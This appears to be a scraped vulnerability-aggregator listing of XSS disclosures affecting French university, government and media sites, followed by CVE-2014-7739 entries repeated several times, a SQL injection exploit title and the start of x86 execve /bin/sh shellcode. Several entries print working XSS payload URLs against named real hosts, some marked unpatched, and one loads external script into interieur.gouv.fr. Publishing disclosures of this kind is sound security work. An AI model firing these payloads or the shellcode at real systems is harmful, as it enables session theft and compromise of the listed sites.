u-clermont1.fr XSS vulnerability

Open Bug Bounty ID: OBB-91466 Description| Value ---|--- Affected Website:| u-clermont1.fr Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat She...

univ-paris3.fr XSS vulnerability

Vulnerable URL: http://www.univ-paris3.fr/servlet/com.jsbsoft.jtf.core.SG?PROC=RECHERCHE=RECHERCHER=%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

u-grenoble3.fr XSS vulnerability

Vulnerable URL: http://www.u-grenoble3.fr/servlet/com.jsbsoft.jtf.core.SG?PROC=RECHERCHE=RECHERCHER=%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E=U3FRETUD091=0 Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 18:14 GMT Vulnerability type:|...

univ-tlse3.fr XSS vulnerability

Vulnerable URL: http://www.univ-tlse3.fr/servlet/com.jsbsoft.jtf.core.SG?PROC=RECHERCHE=RECHERCHER=%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E=TRUE=+img+src+x+onerror+p=HOME Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

ires-fr.org XSS vulnerability

Vulnerable URL: http://www.ires-fr.org/recherche?searchword=%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E=all Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 18:12 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

univ-lyon2.fr XSS vulnerability

Vulnerable URL: http://www.univ-lyon2.fr/servlet/com.jsbsoft.jtf.core.SG Details: Description| Value ---|--- Patched:| Yes, at 11.11.2015 Latest check for patch:| 11.11.2015 01:25 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 70004 Google Pagerank| 7 VIP websi...

univ-lyon3.fr XSS vulnerability

Open Bug Bounty ID: OBB-90830 Description| Value ---|--- Affected Website:| univ-lyon3.fr Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat Shee...

webtele31.fr XSS vulnerability

Vulnerable URL: http://www.webtele31.fr/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 19485966 Google Pagerank| 0 VIP website status:| No Check webtele31.fr SSL connection:| Grad...

rtl2.fr XSS vulnerability

Vulnerable URL: http://www.rtl2.fr/recherche?query=%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at 30.01.2016 Latest check for patch:| 30.01.2016 22:55 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

capsule10.fr XSS vulnerability

Open Bug Bounty ID: OBB-87655 Description| Value ---|--- Affected Website:| capsule10.fr Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat Sheet...

interieur.gouv.fr XSS vulnerability

Vulnerable URL: http://www.interieur.gouv.fr/content/search?SearchText=%22/%3E%20%3Cescript%3Ee=document.createElement%28%27escript%27%29;e.src=%27httpss://xssposed.org/1.js%27;document.body.appendChild%28e%29;%3C/escript%3E=438 Details: Description| Value ---|--- Patched:| Yes, at 09.10.2015...

recif.univ-lyon1.fr XSS vulnerability

Open Bug Bounty ID: OBB-86584 Description| Value ---|--- Affected Website:| recif.univ-lyon1.fr Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Chea...

CVE-2014-7739

The Anahi A Adopter FR aka com.wAnahiAAdopterFR application 0.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

CVE-2014-7739

The Anahi A Adopter FR aka com.wAnahiAAdopterFR application 0.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

Information disclosure

The Anahi A Adopter FR aka com.wAnahiAAdopterFR application 0.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

CVE-2014-7739

The CVE-2014-7739 entry concerns the Android app Anahi A Adopter FR (com.wAnahiAAdopterFR) version 0.1, which does not verify X.509 certificates from SSL servers. This root cause allows MITM attackers to spoof servers and obtain sensitive information via a crafted certificate. The available conne...

CVE-2014-7739

The Anahi A Adopter FR aka com.wAnahiAAdopterFR application 0.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

voiture.brick7.fr XSS vulnerability

Open Bug Bounty ID: OBB-49198 Description| Value ---|--- Affected Website:| voiture.brick7.fr Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat...

URL Shortener Script 1.0 - SQL Injection Vulnerability

No description provided by source. =================================================================================== url shortener script 1.0 sql injection Vulnerabilities =================================================================================== Exploit Title: url shortener script 1.0...

Linux x86 - execve /bin/sh - 21 bytes

No description provided by source. / execve /bin/sh - x86/linux - 21 bytes . zeroed argv / envp [email protected] [email protected] thanks : ivan, milo, oldschool crew / int main char sc = \x6a\x0b // push byte +0xb \x58 // pop eax \x99 // cdq \x52 // push edx...